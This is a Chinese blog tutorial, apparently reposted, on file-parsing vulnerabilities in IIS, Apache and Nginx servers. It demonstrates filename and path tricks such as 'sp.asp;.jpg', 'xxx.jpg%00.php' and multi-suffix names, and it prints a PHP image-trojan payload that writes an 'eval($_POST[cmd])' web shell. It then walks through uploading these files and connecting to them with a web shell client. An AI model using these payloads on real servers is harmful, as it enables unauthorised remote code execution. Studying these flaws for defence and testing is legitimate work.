区块链技术博客
www.b2bchain.cn

中间件的解析漏洞详解及演示

这篇文章主要介绍了中间件的解析漏洞详解及演示的讲解,通过具体代码实例进行17204 讲解,并且分析了中间件的解析漏洞详解及演示的详细步骤与相关技巧,需要的朋友可以参考下https://www.b2bchain.cn/?p=17204

本文实例讲述了2、树莓派设置连接WiFi,开启VNC等等的讲解。分享给大家供大家参考文章查询地址https://www.b2bchain.cn/7039.html。具体如下:

本文转自行云博客https://www.xy586.top/

文章目录

      • IIS5.x-6.x解析漏洞
      • Apache
      • IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞
      • Nginx <0.8.03 空字节代码执行漏洞
      • 演示
        • IIS6.0解析漏洞
        • Nginx 漏洞
        • Apache解析漏洞

解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

类型:

  1. IIS 5.x/6.0解析漏洞

  2. IIS 7.0/IIS 7.5/

  3. Nginx <0.8.3畸形解析漏洞

  4. Nginx <8.03 空字节代码执行漏洞

  5. Apache解析漏洞

中间件的解析漏洞详解及演示

IIS5.x-6.x解析漏洞

利用方法

IIS6.0 默认的可执行文件除了asp还包含这三种

/sp.asa

/sp.cer

/sp.cdx

1.目录解析

/xx.asp/xx.jpg

2.文件解析

sp.asp;.jpg

第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

例如创建目录 sp.asp,那么

/sp.asp/1.jpg

将被当作asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

第二种,在IIS6.0下,分号后面的不被解析,也就是说

sp.asp;.jpg

会被服务器看成是sp.asp

Apache

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 sec.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞

在默认Fast-CGI开启状况下,黑客上传一个名字为sp.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?> 

的文件,然后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php

Nginx <0.8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码然后通过访问

xxx.jpg%00.php

来执行其中的代码

演示

IIS6.0解析漏洞

1.上传23.asa;jpg文件
中间件的解析漏洞详解及演示

蚁剑连接成功

中间件的解析漏洞详解及演示

2.将23.asa;jpg文件改名为23.jpg,并放到1.asp目录下访问,然后使用蚁剑连接

中间件的解析漏洞详解及演示

Nginx 漏洞

上传一个图片马,里面含有代码
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
该木马会在上传后,运用Apache的解析漏洞再次访问时生成一个shell.php木马
中间件的解析漏洞详解及演示

访问该图片,并在末尾加上/.php
中间件的解析漏洞详解及演示

生成shell.php
中间件的解析漏洞详解及演示

蚁剑去连接该shell.php
中间件的解析漏洞详解及演示

Apache解析漏洞

上传带一句话木马的1.php.q.w.d文件
中间件的解析漏洞详解及演示

蚁剑连接
中间件的解析漏洞详解及演示

本文转自互联网,侵权联系删除中间件的解析漏洞详解及演示

赞(0) 打赏
部分文章转自网络,侵权联系删除b2bchain区块链学习技术社区 » 中间件的解析漏洞详解及演示
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

b2b链

联系我们联系我们